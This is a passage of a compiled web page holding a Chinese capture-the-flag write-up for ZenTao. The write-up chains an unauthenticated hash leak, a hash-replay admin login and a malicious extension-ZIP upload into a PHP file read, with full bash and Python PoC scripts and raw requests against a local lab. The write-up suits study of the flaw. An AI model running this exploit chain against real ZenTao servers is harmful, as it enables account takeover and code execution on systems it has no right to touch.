webshell\uff0c\u4e0d\u80fd\u4f5c\u4e3a\u672c\u9898\u89e3\u6cd5\u4f7f\u7528\u3002\u6b63\u5f0f\u94fe\u8def\u91cc\u4e0d\u4f9d\u8d56\u8be5\u6587\u4ef6\u3002"]}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"0x02-\u6f0f\u6d1e\u70b9\u5206\u6790",children:"0x02 \u6f0f\u6d1e\u70b9\u5206\u6790"}),"\n",(0,t.jsxs)(n.p,{children:["\u7985\u9053\u914d\u7f6e\u91cc\u628a ",(0,t.jsx)(n.code,{children:"action.ajaxGetList"})," \u52a0\u5165\u4e86\u672a\u767b\u5f55\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u5217\u8868\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"$config->openMethods[] = 'action.ajaxgetlist';\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5bf9\u5e94\u63a7\u5236\u5668\u903b\u8f91\u5927\u81f4\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"public function ajaxGetList($objectType, $objectID)\n{\n $this->app->loadLang($objectType);\n $actions = $this->action->getList($objectType, $objectID);\n $actions = $this->action->buildActionList($actions);\n return $this->send($actions);\n}\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8be5\u63a5\u53e3\u672c\u610f\u662f\u7ed9\u5bf9\u8c61\u8be6\u60c5\u9875\u5f02\u6b65\u52a0\u8f7d\u64cd\u4f5c\u5386\u53f2\uff0c\u4f46\u6ca1\u6709\u91cd\u65b0\u6821\u9a8c\u5f53\u524d\u7528\u6237\u662f\u5426\u6709\u6743\u9650\u67e5\u770b\u5bf9\u5e94\u5bf9\u8c61\u5386\u53f2\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u63a5\u53e3\u9700\u8981\u52a0 Ajax \u5934\uff0c\u5426\u5219\u54cd\u5e94\u4e3a\u7a7a\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"X-Requested-With: XMLHttpRequest\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8bbf\u95ee\u7528\u6237\u5bf9\u8c61\u5386\u53f2\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"curl -sS \\\n -H 'X-Requested-With: XMLHttpRequest' \\\n 'http://127.0.0.1:18088/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230\u7528\u6237 15 \u7684\u5bc6\u7801\u4fee\u6539\u5386\u53f2\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:'\u65e7\u503c\u4e3a "aa11c1eecc7dcdb46252f3ac31c45e30"\uff0c\u65b0\u503c\u4e3a "0f2797f2182804d0cc7f0b85d254c146"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u6cc4\u9732\u51fa\u7684\u65b0\u503c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"0f2797f2182804d0cc7f0b85d254c146\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u4e2a\u54c8\u5e0c\u521a\u597d\u4e5f\u662f\u5f53\u524d ",(0,t.jsx)(n.code,{children:"admin"})," \u7528\u6237\u7684\u6570\u636e\u5e93\u5bc6\u7801\u54c8\u5e0c\u3002"]}),"\n",(0,t.jsx)(n.h2,{id:"0x03-\u4e3a\u4ec0\u4e48\u6cc4\u9732\u54c8\u5e0c\u53ef\u4ee5\u767b\u5f55",children:"0x03 \u4e3a\u4ec0\u4e48\u6cc4\u9732\u54c8\u5e0c\u53ef\u4ee5\u767b\u5f55"}),"\n",(0,t.jsx)(n.p,{children:"\u7985\u9053\u524d\u7aef\u767b\u5f55\u65f6\u4e0d\u662f\u76f4\u63a5\u63d0\u4ea4\u660e\u6587\u5bc6\u7801\uff0c\u800c\u662f\u5148\u8bf7\u6c42\u968f\u673a\u6570\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/index.php?m=user&f=refreshRandom\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u7136\u540e\u63d0\u4ea4\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"md5(md5(\u660e\u6587\u5bc6\u7801) + rand)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u670d\u52a1\u7aef\u6821\u9a8c 32 \u4f4d\u5bc6\u7801\u53c2\u6570\u65f6\uff0c\u4f1a\u6267\u884c\u7c7b\u4f3c\u903b\u8f91\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"if(strlen($password) == 32)\n{\n $hash = $this->session->rand ? md5($user->password . $this->session->rand) : $user->password;\n if($password == $hash) return $user;\n}\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u4e5f\u5c31\u662f\u8bf4\uff0c\u670d\u52a1\u7aef\u62ff\u6570\u636e\u5e93\u91cc\u7684 ",(0,t.jsx)(n.code,{children:"user->password"})," \u4e0e\u5f53\u524d session \u7684 ",(0,t.jsx)(n.code,{children:"rand"})," \u62fc\u63a5\u518d MD5\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u56e0\u6b64\u53ea\u8981\u77e5\u9053\u6570\u636e\u5e93\u5bc6\u7801\u54c8\u5e0c\uff0c\u5c31\u53ef\u4ee5\u4e0d\u7206\u7834\u660e\u6587\u5bc6\u7801\uff0c\u76f4\u63a5\u6784\u9020\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"login_password = md5(leaked_db_hash + rand)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u767b\u5f55\u6d41\u7a0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'base=\'http://127.0.0.1:18088\'\ncj=$(mktemp)\n\nhash=\'0f2797f2182804d0cc7f0b85d254c146\'\nrand=$(curl -sS -c "$cj" "$base/index.php?m=user&f=refreshRandom")\npass=$(php -r \'echo md5($argv[1].$argv[2]);\' "$hash" "$rand")\n\ncurl -sS -b "$cj" -c "$cj" \\\n "$base/index.php?m=user&f=login&account=admin&password=$pass&passwordStrength=3"\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u767b\u5f55\u6210\u529f\u540e\uff0c",(0,t.jsx)(n.code,{children:"$cj"})," \u91cc\u4fdd\u5b58\u4e86\u6709\u6548\u7684 ",(0,t.jsx)(n.code,{children:"zentaosid"}),"\u3002"]}),"\n",(0,t.jsx)(n.h2,{id:"0x04-\u540e\u53f0\u63d2\u4ef6\u4e0a\u4f20-getshell-\u601d\u8def",children:"0x04 \u540e\u53f0\u63d2\u4ef6\u4e0a\u4f20 Getshell \u601d\u8def"}),"\n",(0,t.jsx)(n.p,{children:"\u767b\u5f55 admin \u540e\uff0c\u53ef\u4ee5\u8bbf\u95ee\u7985\u9053\u540e\u53f0\u63d2\u4ef6\u5b89\u88c5\u529f\u80fd\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/index.php?m=extension&f=upload\n/index.php?m=extension&f=install\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u63d2\u4ef6 ZIP \u89e3\u538b\u540e\u4f1a\u8fdb\u5165\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/data/zentao/extension/pkg/<\u63d2\u4ef6\u4ee3\u53f7>/\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5b89\u88c5\u63d2\u4ef6\u65f6\uff0c\u4f1a\u628a\u63d2\u4ef6\u5305\u5185\u9664 ",(0,t.jsx)(n.code,{children:"db"}),"\u3001",(0,t.jsx)(n.code,{children:"doc"}),"\u3001",(0,t.jsx)(n.code,{children:"hook"})," \u4ee5\u5916\u7684\u76ee\u5f55\u590d\u5236\u5230\u7985\u9053\u5e94\u7528\u6839\u76ee\u5f55\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u4f8b\u5982 ZIP \u5185\u5305\u542b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"ctf_flag_ext/\n\u251c\u2500\u2500 doc/\n\u2502 \u2514\u2500\u2500 en.yaml\n\u2514\u2500\u2500 www/\n \u2514\u2500\u2500 data/\n \u2514\u2500\u2500 readflag.php\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5b89\u88c5\u540e\u4f1a\u590d\u5236\u4e3a\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/data/zentao/www/data/readflag.php\n"})}),"\n",(0,t.jsx)(n.p,{children:"Web \u8bbf\u95ee\u8def\u5f84\u5c31\u662f\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/data/readflag.php\n"})}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.code,{children:"readflag.php"})," \u5185\u5bb9\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"<?php readfile('/flag');\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x05-\u5236\u4f5c\u63d2\u4ef6-zip",children:"0x05 \u5236\u4f5c\u63d2\u4ef6 ZIP"}),"\n",(0,t.jsxs)(n.p,{children:["\u63d2\u4ef6\u5305\u76ee\u5f55\u5fc5\u987b\u5e26\u4e00\u4e2a\u8bf4\u660e\u6587\u4ef6\uff0c\u6700\u5c0f ",(0,t.jsx)(n.code,{children:"doc/en.yaml"})," \u5982\u4e0b\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"code: ctf_flag_ext\nname: CTF Flag Extension\nversion: 1.0\nauthor: ctf\ndesc: ctf\nlicense: mit\ntype: extension\nzentaoVersion: all\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5236\u4f5c\u547d\u4ee4\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'work=$(mktemp -d)\nmkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"\n\ncat > "$work/ctf_flag_ext/doc/en.yaml" <<\'YAML\'\ncode: ctf_flag_ext\nname: CTF Flag Extension\nversion: 1.0\nauthor: ctf\ndesc: ctf\nlicense: mit\ntype: extension\nzentaoVersion: all\nYAML\n\ncat > "$work/ctf_flag_ext/www/data/readflag.php" <<\'PHP\'\n<?php readfile(\'/flag\');\nPHP\n\ncd "$work"\nzip -q -r ctf_flag_ext.zip ctf_flag_ext\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u751f\u6210\u7684 ZIP \u8def\u5f84\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"$work/ctf_flag_ext.zip\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x06-\u4e0a\u4f20\u63d2\u4ef6\u7684\u5751\u70b9",children:"0x06 \u4e0a\u4f20\u63d2\u4ef6\u7684\u5751\u70b9"}),"\n",(0,t.jsxs)(n.p,{children:["\u4e0a\u4f20\u8bf7\u6c42\u5fc5\u987b\u5e26\u540c\u6e90 ",(0,t.jsx)(n.code,{children:"Referer"}),"\uff0c\u5426\u5219\u7985\u9053\u6846\u67b6\u7684 CSRF \u903b\u8f91\u4f1a\u6e05\u7a7a ",(0,t.jsx)(n.code,{children:"$_FILES"})," \u548c ",(0,t.jsx)(n.code,{children:"$_POST"}),"\uff0c\u5bfc\u81f4\u4f60\u660e\u660e\u53d1\u4e86 multipart\uff0c\u670d\u52a1\u7aef\u5374\u8fdb\u5165\u4e0d\u4e86\u4e0a\u4f20\u5206\u652f\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u6b63\u786e\u4e0a\u4f20\u8bf7\u6c42\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'curl -sS \\\n -b "$cj" -c "$cj" \\\n -H "Referer: $base/index.php?m=extension&f=upload" \\\n -H \'X-Requested-With: XMLHttpRequest\' \\\n -F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \\\n "$base/index.php?m=extension&f=upload"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u6210\u529f\u54cd\u5e94\u7c7b\u4f3c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-json",children:'{"result":"success","callback":{"name":"loadInModal","params":"/index.php?m=extension&f=install&extension=ctf_flag_ext"}}\n'})}),"\n",(0,t.jsx)(n.h2,{id:"0x07-\u5b89\u88c5\u63d2\u4ef6\u7684\u5751\u70b9",children:"0x07 \u5b89\u88c5\u63d2\u4ef6\u7684\u5751\u70b9"}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.code,{children:"extension.install"})," \u7684 PHP \u65b9\u6cd5\u7b7e\u540d\u662f\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"public function install(\n $extension,\n $downLink = '',\n $md5 = '',\n $type = '',\n $overridePackage = 'no',\n $ignoreCompatible = 'no',\n $overrideFile = 'no',\n $agreeLicense = 'no',\n $upgrade = 'no'\n)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u7985\u9053\u8fd9\u91cc\u7684\u53c2\u6570\u662f\u6309 URL \u53c2\u6570\u51fa\u73b0\u987a\u5e8f\u7ed1\u5b9a\u7684\uff0c\u4e0d\u8981\u4ee5\u4e3a\u53c2\u6570\u540d\u4e00\u5b9a\u4f1a\u751f\u6548\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u6240\u4ee5\u5b89\u88c5\u65f6\u8981\u628a\u524d\u9762\u7684\u7a7a\u53c2\u6570\u4e5f\u8865\u9f50\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'curl -sS \\\n -b "$cj" -c "$cj" \\\n -H "Referer: $base/index.php?m=extension&f=install" \\\n "$base/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u7136\u540e\u8bbf\u95ee\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'curl -sS "$base/data/readflag.php"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u5373\u53ef\u5f97\u5230\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"flag{12345}\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x08-\u5b8c\u6574-burp-\u4ee3\u7406\u7248-poc",children:"0x08 \u5b8c\u6574 Burp \u4ee3\u7406\u7248 PoC"}),"\n",(0,t.jsx)(n.p,{children:"\u4e0b\u9762\u8fd9\u4e2a PoC \u4f1a\u628a\u6240\u6709 HTTP \u8bf7\u6c42\u4ee3\u7406\u5230 Burp\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"http://127.0.0.1:8080\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u4f7f\u7528\u524d\u786e\u4fdd Burp \u5df2\u7ecf\u76d1\u542c ",(0,t.jsx)(n.code,{children:"127.0.0.1:8080"}),"\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u679c\u76ee\u6807\u662f HTTPS \u4e14\u8bc1\u4e66\u4e0d\u88ab\u4fe1\u4efb\uff0ccurl \u7248\u672c PoC \u7528 ",(0,t.jsx)(n.code,{children:"-k"}),"\uff0cPython \u7248\u672c PoC \u7528 ",(0,t.jsx)(n.code,{children:"verify=False"}),"\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"bash--curl-\u7248",children:"Bash + curl \u7248"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'#!/usr/bin/env bash\nset -euo pipefail\n\nBASE_URL="${1:-http://127.0.0.1:18088}"\nBURP_PROXY="${BURP_PROXY:-http://127.0.0.1:8080}"\n\ncj=$(mktemp)\nwork=$(mktemp -d)\n\necho "[+] Target: $BASE_URL"\necho "[+] Burp proxy: $BURP_PROXY"\n\necho "[+] Step 1: leak password hash from action.ajaxGetList"\nleak_resp=$(curl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -H \'X-Requested-With: XMLHttpRequest\' \\\n "$BASE_URL/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15")\n\nhash=$(printf \'%s\' "$leak_resp" | grep -Eo \'[a-f0-9]{32}\' | tail -n 1)\necho "[+] leaked hash: $hash"\n\necho "[+] Step 2: get session rand"\nrand=$(curl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -c "$cj" \\\n "$BASE_URL/index.php?m=user&f=refreshRandom")\n\necho "[+] rand: $rand"\n\necho "[+] Step 3: build login password md5(hash + rand)"\nlogin_pass=$(php -r \'echo md5($argv[1].$argv[2]);\' "$hash" "$rand")\necho "[+] login password: $login_pass"\n\necho "[+] Step 4: login as admin"\ncurl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -b "$cj" -c "$cj" \\\n "$BASE_URL/index.php?m=user&f=login&account=admin&password=$login_pass&passwordStrength=3" \\\n >/dev/null\n\necho "[+] Step 5: make malicious extension zip"\nmkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"\n\ncat > "$work/ctf_flag_ext/doc/en.yaml" <<\'YAML\'\ncode: ctf_flag_ext\nname: CTF Flag Extension\nversion: 1.0\nauthor: ctf\ndesc: ctf\nlicense: mit\ntype: extension\nzentaoVersion: all\nYAML\n\ncat > "$work/ctf_flag_ext/www/data/readflag.php" <<\'PHP\'\n<?php readfile(\'/flag\');\nPHP\n\n(\n cd "$work"\n zip -q -r ctf_flag_ext.zip ctf_flag_ext\n)\n\necho "[+] zip path: $work/ctf_flag_ext.zip"\n\necho "[+] Step 6: upload extension zip"\ncurl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -b "$cj" -c "$cj" \\\n -H "Referer: $BASE_URL/index.php?m=extension&f=upload" \\\n -H \'X-Requested-With: XMLHttpRequest\' \\\n -F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \\\n "$BASE_URL/index.php?m=extension&f=upload"\necho\n\necho "[+] Step 7: install extension"\ncurl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -b "$cj" -c "$cj" \\\n -H "Referer: $BASE_URL/index.php?m=extension&f=install" \\\n "$BASE_URL/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no" \\\n >/dev/null\n\necho "[+] Step 8: read flag"\ncurl -k -sS \\\n --proxy "$BURP_PROXY" \\\n "$BASE_URL/data/readflag.php"\necho\n\necho "[+] cookie jar: $cj"\necho "[+] work dir: $work"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd0\u884c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"chmod +x poc.sh\nBURP_PROXY='http://127.0.0.1:8080' ./poc.sh 'http://127.0.0.1:18088'\n"})}),"\n",(0,t.jsx)(n.h3,{id:"python-requests-\u7248",children:"Python requests \u7248"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"#!/usr/bin/env python3\nimport hashlib\nimport os\nimport re\nimport shutil\nimport sys\nimport tempfile\nimport zipfile\n\nimport requests\n\n\nBASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18088'\nBURP_PROXY = os.environ.get('BURP_PROXY', 'http://127.0.0.1:8080')\n\nPROXIES = {\n 'http': BURP_PROXY,\n 'https': BURP_PROXY,\n}\n\n\ndef md5(data: str) -> str:\n return hashlib.md5(data.encode()).hexdigest()\n\n\ndef make_zip(workdir: str) -> str:\n root = os.path.join(workdir, 'ctf_flag_ext')\n os.makedirs(os.path.join(root, 'doc'), exist_ok=True)\n os.makedirs(os.path.join(root, 'www', 'data'), exist_ok=True)\n\n with open(os.path.join(root, 'doc', 'en.yaml'), 'w', encoding='utf-8') as f:\n f.write('''code: ctf_flag_ext\nname: CTF Flag Extension\nversion: 1.0\nauthor: ctf\ndesc: ctf\nlicense: mit\ntype: extension\nzentaoVersion: all\n''')\n\n with open(os.path.join(root, 'www', 'data', 'readflag.php'), 'w', encoding='utf-8') as f:\n f.write(\"<?php readfile('/flag');\\n\")\n\n zip_path = os.path.join(workdir, 'ctf_flag_ext.zip')\n with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n for dirpath, _, filenames in os.walk(root):\n for filename in filenames:\n path = os.path.join(dirpath, filename)\n arcname = os.path.relpath(path, workdir)\n zf.write(path, arcname)\n return zip_path\n\n\ndef main():\n session = requests.Session()\n session.proxies.update(PROXIES)\n session.verify = False\n\n print(f'[+] Target: {BASE_URL}')\n print(f'[+] Burp proxy: {BURP_PROXY}')\n\n print('[+] Step 1: leak password hash')\n leak_url = f'{BASE_URL}/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'\n leak_resp = session.get(leak_url, headers={'X-Requested-With': 'XMLHttpRequest'})\n leak_resp.raise_for_status()\n\n hashes = re.findall(r'[a-f0-9]{32}', leak_resp.text)\n if not hashes:\n raise RuntimeError('no md5 hash found in ajaxGetList response')\n leaked_hash = hashes[-1]\n print(f'[+] leaked hash: {leaked_hash}')\n\n print('[+] Step 2: get session rand')\n rand_resp = session.get(f'{BASE_URL}/index.php?m=user&f=refreshRandom')\n rand_resp.raise_for_status()\n rand = rand_resp.text.strip()\n print(f'[+] rand: {rand}')\n\n print('[+] Step 3: login as admin')\n login_password = md5(leaked_hash + rand)\n login_url = f'{BASE_URL}/index.php?m=user&f=login&account=admin&password={login_password}&passwordStrength=3'\n login_resp = session.get(login_url)\n login_resp.raise_for_status()\n\n workdir = tempfile.mkdtemp(prefix='zt-ext-')\n try:\n print('[+] Step 4: make extension zip')\n zip_path = make_zip(workdir)\n print(f'[+] zip path: {zip_path}')\n\n print('[+] Step 5: upload extension')\n upload_url = f'{BASE_URL}/index.php?m=extension&f=upload'\n with open(zip_path, 'rb') as fp:\n files = {'files[]': ('ctf_flag_ext.zip', fp, 'application/zip')}\n upload_resp = session.post(\n upload_url,\n files=files,\n headers={\n 'Referer': upload_url,\n 'X-Requested-With': 'XMLHttpRequest',\n },\n )\n upload_resp.raise_for_status()\n print(upload_resp.text)\n\n print('[+] Step 6: install extension')\n install_url = (\n f'{BASE_URL}/index.php?m=extension&f=install'\n '&extension=ctf_flag_ext'\n '&downLink='\n '&md5='\n '&type='\n '&overridePackage=no'\n '&ignoreCompatible=yes'\n '&overrideFile=yes'\n '&agreeLicense=yes'\n '&upgrade=no'\n )\n install_resp = session.get(install_url, headers={'Referer': upload_url})\n install_resp.raise_for_status()\n\n print('[+] Step 7: read flag')\n flag_resp = session.get(f'{BASE_URL}/data/readflag.php')\n flag_resp.raise_for_status()\n print(flag_resp.text.strip())\n finally:\n print(f'[+] temp workdir kept at: {workdir}')\n # \u5982\u9700\u81ea\u52a8\u5220\u9664\u672c\u5730\u4e34\u65f6\u76ee\u5f55\uff0c\u53ef\u4ee5\u53d6\u6d88\u4e0b\u4e00\u884c\u6ce8\u91ca\u3002\n # shutil.rmtree(workdir)\n\n\nif __name__ == '__main__':\n main()\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd0\u884c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"python3 -m pip install requests\nBURP_PROXY='http://127.0.0.1:8080' python3 poc.py 'http://127.0.0.1:18088'\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x09-burp-\u6293\u5305\u91cd\u70b9",children:"0x09 Burp \u6293\u5305\u91cd\u70b9"}),"\n",(0,t.jsx)(n.p,{children:"\u5efa\u8bae\u91cd\u70b9\u770b\u8fd9\u51e0\u4e2a\u5305\uff1a"}),"\n",(0,t.jsx)(n.h3,{id:"1-\u672a\u6388\u6743\u6cc4\u9732\u5386\u53f2",children:"1. \u672a\u6388\u6743\u6cc4\u9732\u5386\u53f2"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /index.php?m=action&f=ajaxGetList&objectType=user&objectID=15 HTTP/1.1\nHost: 127.0.0.1:18088\nX-Requested-With: XMLHttpRequest\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u54cd\u5e94\u91cc\u641c\u7d22\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"\u65b0\u503c\u4e3a\n"})}),"\n",(0,t.jsx)(n.h3,{id:"2-\u83b7\u53d6\u767b\u5f55\u968f\u673a\u6570",children:"2. \u83b7\u53d6\u767b\u5f55\u968f\u673a\u6570"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /index.php?m=user&f=refreshRandom HTTP/1.1\nHost: 127.0.0.1:18088\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u54cd\u5e94\u4f53\u5c31\u662f ",(0,t.jsx)(n.code,{children:"rand"}),"\uff0c\u540c\u65f6\u4f1a\u8bbe\u7f6e\u6216\u66f4\u65b0 session cookie\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"3-\u54c8\u5e0c\u91cd\u653e\u767b\u5f55",children:"3. \u54c8\u5e0c\u91cd\u653e\u767b\u5f55"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /index.php?m=user&f=login&account=admin&password=<md5(leaked_hash+rand)>&passwordStrength=3 HTTP/1.1\nHost: 127.0.0.1:18088\nCookie: zentaosid=<\u540c\u4e00\u4e2a\u4f1a\u8bdd>\n"})}),"\n",(0,t.jsx)(n.h3,{id:"4-\u4e0a\u4f20\u63d2\u4ef6-zip",children:"4. \u4e0a\u4f20\u63d2\u4ef6 ZIP"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'POST /index.php?m=extension&f=upload HTTP/1.1\nHost: 127.0.0.1:18088\nCookie: zentaosid=<\u5df2\u767b\u5f55\u4f1a\u8bdd>\nReferer: http://127.0.0.1:18088/index.php?m=extension&f=upload\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=----xxx\n\n------xxx\nContent-Disposition: form-data; name="files[]"; filename="ctf_flag_ext.zip"\nContent-Type: application/zip\n\n<zip bytes>\n------xxx--\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u679c\u6ca1\u6709 ",(0,t.jsx)(n.code,{children:"Referer"}),"\uff0c\u6846\u67b6\u4f1a\u8ba4\u4e3a CSRF\uff0c\u6e05\u7a7a\u4e0a\u4f20\u5185\u5bb9\uff0c\u5bfc\u81f4\u4e0a\u4f20\u5931\u8d25\u6216\u8fd4\u56de\u4e0a\u4f20\u9875\u9762 HTML\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"5-\u5b89\u88c5\u63d2\u4ef6",children:"5. \u5b89\u88c5\u63d2\u4ef6"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no HTTP/1.1\nHost: 127.0.0.1:18088\nCookie: zentaosid=<\u5df2\u767b\u5f55\u4f1a\u8bdd>\nReferer: http://127.0.0.1:18088/index.php?m=extension&f=install\n"})}),"\n",(0,t.jsx)(n.h3,{id:"6-\u8bfb\u53d6-flag",children:"6. \u8bfb\u53d6 flag"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /data/readflag.php HTTP/1.1\nHost: 127.0.0.1:18088\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u54cd\u5e94\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"flag{12345}\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x0a-\u5229\u7528\u94fe\u603b\u7ed3",children:"0x0a \u5229\u7528\u94fe\u603b\u7ed3"}),"\n",(0,t.jsx)(n.p,{children:"\u5b8c\u6574\u94fe\u8def\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"action.ajaxGetList \u672a\u6388\u6743\n \u2193\n\u8bfb\u53d6 user:15 \u64cd\u4f5c\u5386\u53f2\n \u2193\n\u6cc4\u9732\u5bc6\u7801\u4fee\u6539\u540e\u7684\u6570\u636e\u5e93\u54c8\u5e0c\n \u2193\nrefreshRandom \u83b7\u53d6 session rand\n \u2193\n\u6784\u9020 md5(leaked_hash + rand)\n \u2193\n\u54c8\u5e0c\u91cd\u653e\u767b\u5f55 admin\n \u2193\n\u540e\u53f0\u4e0a\u4f20\u6076\u610f\u63d2\u4ef6 ZIP\n 